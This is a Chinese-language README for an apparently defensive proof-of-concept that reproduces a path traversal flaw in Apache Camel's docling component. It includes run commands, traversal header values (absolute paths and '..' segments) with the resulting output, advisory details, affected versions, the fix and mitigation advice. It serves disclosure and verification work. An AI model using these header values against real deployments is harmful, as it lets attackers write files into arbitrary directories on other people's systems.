--output针对 Apache Camel 漏洞的可运行概念验证复现程序:在该漏洞中,DoclingProducer 以 CLI 模式(默认模式)运行外部 docling 工具时,将 CamelDoclingOutputFilePath 请求头的值原样交给 docling 的 --output 标志:既不进行规范化,也接受绝对路径或包含 .. 段的路径,且没有任何端点选项能够限制它。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0(Quarkus 3.39.0,Camel 4.22.0) |
Docling 将转换结果——Markdown、HTML、JSON 或文本——写入该目录,并以输入文件命名输出文件,而生产者随后只删除它自己的临时目录,因此该文件会被保留在原处。因此,能够设置该请求头的一方就可以让转换输出被创建在 Camel 进程可写入的任意目录中。
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
在受影响的构建上输出(两个运行时上完全相同):
1) No header at all - the producer picks its own temporary directory
argv docling received: --to md --ocr-lang en --output /tmp/docling-<uuid> /tmp/docling-<uuid>/docling-<n>.tmp
exchange outcome: ok
2) An ABSOLUTE path of the attacker's choosing
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen ...
3) A path with .. segments - watch whether they survive into the argv below
header CamelDoclingOutputFilePath = /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped
argv docling received: ... --output /tmp/cve-2026-95629-attacker-chosen/../cve-2026-95629-escaped ...
4) CONTROL - asking for the same thing through CamelDoclingCustomArguments instead
REJECTED by Camel: IllegalArgumentException: Custom argument '--output' is not allowed because the
output directory is managed by the producer. Use the CamelDoclingOutputFilePath header or endpoint
configuration instead.
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true
/tmp/cve-2026-95629-escaped/document.md : true
>>> PROVEN: ...
探针 4 揭示了问题的本质。 针对
CVE-2026-40047 的修复所添加的自定义参数校验,在
CamelDoclingCustomArguments 中拒绝 --output 和 -o,并告知调用方改用此 header 来选择输出目录——
于是,决定 docling 写入位置的那个值,恰恰是唯一一个未经任何自定义参数校验就到达命令行的值。
在探针 2 和 3 之后,交换本身会失败(“failed afterwards”),因为生产者随后会在其自己的临时目录中 查找转换后的输出,却在那里找不到。这只是表面现象:写入已经发生,这正是末尾的文件列表所显示的内容。
无需安装 docling。端点的 doclingCommand 选项指向一个用于记录 CLI 调用的替身程序,它既记录传给它的参数向量,
又像 docling 那样把文件写入 --output 所指定的位置。真实的 DoclingProducer 和真实的
addOutputDirectoryArguments() 都会运行。
只有 CLI 模式使用此 header;docling-serve 模式不使用。
CamelDoclingOutputFilePath 属于 Camel header 命名空间,应用 Camel 默认 header 过滤的消费者——例如 JMS 和
Kafka 消费者——会从传入消息中剥离该命名空间。当路由将受外部影响的值转发到该 header,或消费者在映射传入
header 时未应用该过滤,该问题即可被触达。
所写入文件的内容是对消息所携带文档的转换结果,因此其内容由提供该文档的一方塑造,但并非逐字节写入;当文档 以消息体形式到达时,生产者会将其存储在一个随机临时名称下,输出文件随后便带有该名称。
| 属性 | 值 |
|---|---|
| 组件 | camel-docling (DoclingProducer.addOutputDirectoryArguments()) |
| CWE | CWE-22(对路径名的限制不恰当,导致访问受限目录之外) |
| 严重性 | 中 |
| 攻击向量 | CamelDoclingOutputFilePath header 中的绝对路径或包含 .. 的目录 |
| 影响 | 转换输出被创建在 Camel 进程可写入的任意目录中 |
| 受影响版本 | 4.15.0 起至 4.18.5 之前,4.19.0 起至 4.22.2 之前 |
| 修复版本 | 4.18.5、4.22.2、4.23.0 |
| JIRA | CAMEL-24894 |
| 致谢 | Zhixi "Jace" Sun,独立安全研究员 |
公告:https://camel.apache.org/security/CVE-2026-95629.html
同一组件、同一发布批次中的同类问题: CVE-2026-95628(绝对路径被接受为自定义参数值)。
该 header 现在会像输入路径一样,通过 resolveWithinOutputBaseDirectory() 获得相同的规范化处理以及可选的
基础目录包含检查。但修复所添加的 outputBaseDirectory 端点选项默认未设置,且其自身文档说明:当其为空时,
不应用任何目录限制,header 值仅被规范化。
已针对 4.22.1 → 4.22.2 验证,且 outputBaseDirectory 保持未设置:
3) A path with .. segments - watch whether they survive into the argv below
argv docling received: ... --output /tmp/cve-2026-95629-escaped ... <- normalized
Files now sitting in directories the route never chose:
/tmp/cve-2026-95629-attacker-chosen/document.md : true <- still written
/tmp/cve-2026-95629-escaped/document.md : true
>>> PARTLY CLOSED: the header was normalized before reaching --output ... It can still name any directory
>>> the Camel process can write to, because the outputBaseDirectory option the fix added is UNSET by
>>> default ... Set outputBaseDirectory on every docling endpoint whose CamelDoclingOutputFilePath header
>>> can carry a value influenced from outside the deployment; upgrading alone is not enough.
驱动程序会单独报告该状态,而不是将其称为已修复,因为这是大多数部署在升级后会直接进入的状态。升级后,请为每个 header 可能携带外部可影响值的 docling 端点设置 outputBaseDirectory。
已在 main 分支的 apache/camel#26737(48485d40)中修复,并已通过 #27365 回移植到 camel-4.22.x,通过 #27362 回移植到 camel-4.18.x。
不要使用来源于部署外部值来构建 CamelDoclingOutputFilePath;在来自外部的消息到达 docling 端点之前,从这些消息中移除该 header;并确保映射传入 header 的消费者丢弃 Camel header 命名空间。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户了解该漏洞、验证自身是否受影响,并确认升级能够解决该问题。请勿将本材料用于您不拥有或运营的系统。